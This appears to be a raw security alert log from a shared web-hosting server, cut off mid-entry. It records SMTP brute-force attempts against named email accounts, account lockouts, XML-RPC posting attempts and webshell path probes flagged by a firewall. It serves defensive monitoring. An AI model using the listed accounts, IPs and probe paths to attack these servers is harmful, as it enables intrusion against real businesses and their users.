country_id: 2921044
description:
2026-02-01 23:32:07 dovecot_login authenticator failed for H=(dOZVk5) [178.16.52.139]:62297: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 23:32:09 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:51851: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 23:32:07 dovecot_login authenticator failed for H=(gc36PWO7h) [158.94.208.175]:60108: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 23:33:00 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:54552: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 23:32:15 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account munch has been temporarily locked by Imunify PAM(178.16.54.22)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.10.10.20
country_id: 1814991
description:
2026-02-01 23:32:16 dovecot_login authenticator failed for H=([221.10.10.20]) [221.10.10.20]:57369: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 23:33:06 dovecot_login authenticator failed for H=(pndtWm17gX) [178.16.52.139]:63469: 535 Incorrect authentication data (set_id=mkmadmin@mkmetal.com.my)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 113.211.141.129
country_id: 1733045
description:
[2026-02-01 23:33:09 +0800] info [webmaild] 113.211.141.129 - s-osada@mckd.com.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 23:33:16 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account munch has been temporarily locked by Imunify PAM(158.94.208.175)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.237.57.61
country_id: 2017370
description:
2026-02-01 23:33:44 dovecot_login authenticator failed for H=host-85-237-57-61.dsl.sura.ru [85.237.57.61]:43112: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.129.96.2
country_id: 1814991
description:
2026-02-01 23:34:02 dovecot_login authenticator failed for H=([219.129.96.2]) [219.129.96.2]:51921: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 23:33:03 dovecot_login authenticator failed for H=(5ijH8qm) [178.16.54.22]:56246: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 23:33:03 dovecot_login authenticator failed for H=(QeOXAEXnU) [178.16.54.22]:59235: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 23:33:06 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:61448: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 23:33:18 dovecot_login authenticator failed for H=(tknGg3z) [158.94.208.175]:56164: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 106.219.146.45
country_id: 1269750
domain: af-sb.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.af-sb.com||ServerName:af-sb.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:0d3412ce951294eba16fdf263975cffd51735c06||Title:0x8e6ea100||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 23:34:05 dovecot_login authenticator failed for H=(Aeksq9f8) [158.94.208.175]:62938: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 23:34:10 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:57511: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 23:34:11 dovecot_login authenticator failed for H=(aaGFvwvotl) [178.16.54.22]:56283: 535 Incorrect authentication data (set_id=corporate_chaah@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 23:34:20 dovecot_login authenticator failed for H=(ZCS6VZ) [178.16.52.139]:58631: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.166.18.0
country_id: 1282988
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=739603 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 23:35:44 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:59426: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 23:35:15 dovecot_login authenticator failed for H=(2GA8m69aSL) [158.94.208.175]:54217: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 23:35:16 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:46386: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 23:35:16 dovecot_login authenticator failed for H=(9h5BDD) [178.16.54.22]:58942: 535 Incorrect authentication data (set_id=cklee)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 23:35:16 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:52083: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 23:35:14 dovecot_login authenticator failed for H=(OUIgzDSkeb) [178.16.52.139]:60023: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 106.219.146.45
country_id: 1269750
domain: af-sb.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.af-sb.com||ServerName:af-sb.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:2e54262bf79ae375ef4374b293961cd5c8aabfca||Title:0xaf12022c||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.21.243.58
country_id: 1814991
description:
2026-02-01 23:35:54 dovecot_login authenticator failed for H=([218.21.243.58]) [218.21.243.58]:45996: 535 Incorrect authentication data (set_id=admin@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 23:36:15 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:63328: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 23:36:25 dovecot_login authenticator failed for H=(pa1JoOrr) [158.94.208.175]:53937: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 106.219.146.45
country_id: 1269750
domain: af-sb.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.af-sb.com||ServerName:af-sb.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:08b316917eb7b007d5d55bb9fdd85098f4e7e87f||Title:0x8768e31b||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 23:36:21 dovecot_login authenticator failed for H=(tbzT9Q) [178.16.54.22]:53078: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.241.150.246
country_id: 2017370
description:
2026-02-01 23:36:52 dovecot_login authenticator failed for H=91-241-150-246-dyn.neotele.com.ru [91.241.150.246]:41078: 535 Incorrect authentication data (set_id=admin@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 23:36:18 dovecot_login authenticator failed for H=(UjR6QJ) [178.16.52.139]:63106: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 23:36:23 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account munch has been temporarily locked by Imunify PAM(158.94.208.175)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/services/images/sliders/radiation.php||SC:/home/sutsbcom/public_html/services||


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 23:37:32 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account munch has been temporarily locked by Imunify PAM(158.94.208.175)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 23:37:09 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account munch has been temporarily locked by Imunify PAM(178.16.54.22)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.63
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/question-some-questions-about-on-line-information/images/sliders/cdn-cgi/l/Radioactive_Waste_Management.php||SC:/home/sutsbcom/public_html/question-some-questions-about-on-line-information||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 23:37:52 dovecot_login authenticator failed for H=(aZBmDYz) [178.16.54.22]:63780: 535 Incorrect authentication data (set_id=cklee)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 23:37:19 dovecot_login authenticator failed for H=(7Gh5kEmhQ) [178.16.52.139]:54301: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.190
country_id: 1814991
description:
2026-02-01 23:37:18 dovecot_login authenticator failed for H=([111.61.177.190]) [111.61.177.190]:55550: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 23:37:34 dovecot_login authenticator failed for H=(MkZc01MF) [158.94.208.175]:53011: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 23:37:06 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:58066: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.111.156.168
country_id: 3469034
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=342496 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 23:37:28 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:49272: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 23:37:11 dovecot_login authenticator failed for H=(ne19AU) [178.16.54.22]:52875: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 23:38:06 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:54821: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 167.148.167.71
country_id: 6252001
description:
2026-02-01 23:38:11 H=([167.148.167.71]) [167.148.167.71]:60115 F=<Server@euratech.com.my> rejected RCPT <zhenwei@euratech.com.my>: smtp auth required


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 23:38:03 dovecot_login authenticator failed for H=(Nakgfqg) [178.16.52.139]:56023: 535 Incorrect authentication data (set_id=mkmadmin@mkmetal.com.my)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.159
country_id: 2750405
description:
2026-02-01 23:38:06 246318 [Warning] Aborted connection 246318 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.159' (This connection closed normally without authentication)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 23:38:41 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account munch has been temporarily locked by Imunify PAM(178.16.54.22)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 23:38:43 dovecot_login authenticator failed for H=(y3sLttMq0) [178.16.54.22]:50177: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 23:38:19 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account munch has been temporarily locked by Imunify PAM(158.94.208.175)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 23:38:21 dovecot_login authenticator failed for H=(PSeaHMIqw) [158.94.208.175]:52352: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 23:38:59 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@mkmetal.com.my has been locked for the attacker IP 178.16.52.139


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 106.219.146.45
country_id: 1269750
domain: af-sb.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.af-sb.com||ServerName:af-sb.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:fa1a9843a4539ccfd3af919c3af58124a7c35e3e||Title:0x4b676ae1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 152.110.210.233
country_id: 953987
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=34741514886288 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 23:39:42 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:40250: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 23:39:09 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:50234: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 23:39:14 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account munch has been temporarily locked by Imunify PAM(178.16.54.22)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 23:39:16 dovecot_login authenticator failed for H=(cvsPOs8pZ) [178.16.54.22]:57193: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 23:39:40 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@mkmetal.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 23:39:08 dovecot_login authenticator failed for H=(m8GpEoAHDl) [158.94.208.175]:55134: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 23:39:25 dovecot_login authenticator failed for H=(nAhJ313vD) [178.16.52.139]:54152: 535 Incorrect authentication data (set_id=mkmadmin@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.228.231
country_id: 1269750
description:
2026-02-01 23:39:41 dovecot_login authenticator failed for H=(nsg-corporate-231.228.187.122.airtel.in) [122.187.228.231]:35275: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 23:39:06 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account munch has been temporarily locked by Imunify PAM(158.94.208.175)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.180.129.87
country_id: 1668284
description:
2026-02-01 23:39:13 dovecot_login authenticator failed for H=(175-180-129-87.adsl.dynamic.seed.net.tw) [175.180.129.87]:56144: 535 Incorrect authentication data (set_id=admin@acburn.com.my)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 106.219.146.45
country_id: 1269750
domain: af-sb.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.af-sb.com||ServerName:af-sb.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:442d710c746ba012a0cf6866a46c8d108a7bec17||Title:0x5b2c257b||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 23:40:41 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account munch has been temporarily locked by Imunify PAM(178.16.54.22)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 23:40:17 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account munch has been temporarily locked by Imunify PAM(158.94.208.175)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 23:40:19 dovecot_login authenticator failed for H=(4NBIW5) [158.94.208.175]:59003: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 23:40:41 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:52173: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 23:40:05 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@mkmetal.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 23:40:05 dovecot_login authenticator failed for H=(rYJFHhQ) [178.16.54.22]:54768: 535 Incorrect authentication data (set_id=cklee@ktlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 23:40:07 dovecot_login authenticator failed for H=(uFRPsK3Av) [178.16.52.139]:58290: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 23:40:11 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:59354: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 23:41:04 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account munch has been temporarily locked by Imunify PAM(158.94.208.175)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 23:41:04 dovecot_login authenticator failed for H=(oD47nFO) [178.16.52.139]:56186: 535 Incorrect authentication data (set_id=mkmadmin@mkmetal.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 23:41:24 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@mkmetal.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 23:41:55 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:41876: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 23:41:06 dovecot_login authenticator failed for H=(i311fNMs) [158.94.208.175]:53929: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 23:41:03 dovecot_login authenticator failed for H=(3iGNwoy3) [178.16.54.22]:63499: 535 Incorrect authentication data (set_id=corporate_chaah)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 23:41:03 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:54897: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 106.219.146.45
country_id: 1269750
domain: af-sb.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.af-sb.com||ServerName:af-sb.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:32f2c3bb2768c8ee181cd23128de95fddf61c388||Title:0xab6582aa||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/about-sinaran-utama-teknologi/images/sliders/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/index.php||SC:/home/sutsbcom/public_html/about-sinaran-utama-teknologi||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 23:42:13 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:54254: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 23:42:03 dovecot_login authenticator failed for H=(1BdxFgXqwW) [178.16.54.22]:56502: 535 Incorrect authentication data (set_id=cklee@ktlog.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 23:42:49 dovecot_login authenticator failed for H=(wOgsK3jXr) [178.16.54.22]:60593: 535 Incorrect authentication data (set_id=cklee@ktlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 23:42:09 dovecot_login authenticator failed for H=(wzESo2) [178.16.52.139]:55817: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 23:42:16 dovecot_login authenticator failed for H=(IYkpCgZQ) [158.94.208.175]:59029: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 23:42:07 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@mkmetal.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 23:43:12 dovecot_login authenticator failed for H=(cqyfnNq) [178.16.52.139]:62921: 535 Incorrect authentication data (set_id=mkmadmin@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 23:43:32 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:55739: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 106.219.146.45
country_id: 1269750
domain: af-sb.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.af-sb.com||ServerName:af-sb.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:6ee1e38078be6a320224c50f7a3784f34df43a7c||Title:0xf2fad102||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 23:43:03 dovecot_login authenticator failed for H=(jUXhir17Wt) [158.94.208.175]:59926: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 23:43:12 dovecot_login authenticator failed for H=(FkmdEhoc) [178.16.54.22]:49858: 535 Incorrect authentication data (set_id=corporate_chaah)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 104.152.52.237
country_id: 6252001
description:
Feb  1 23:43:27 sv3 pure-ftpd[1225891]: (?@104.152.52.237) [INFO] New connection from 104.152.52.237


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.111
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/about-sinaran-utama-teknologi/images/company.php||SC:/home/sutsbcom/public_html/about-sinaran-utama-teknologi||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 64.89.163.173
country_id: 2635167
description:
2026-02-01 23:43:48 246512 [Warning] Aborted connection 246512 to db: 'unconnected' user: 'unauthenticated' host: '64.89.163.173' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.10.210.68
country_id: 732800
description:
2026-02-01 23:44:09 dovecot_plain authenticator failed for H=(orefiry) [46.10.210.68]:45810: 535 Incorrect authentication data (set_id=salesjb@col.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 23:44:13 dovecot_login authenticator failed for H=(hGkjsag) [178.16.52.139]:58657: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.97.254.98
country_id: 3625428
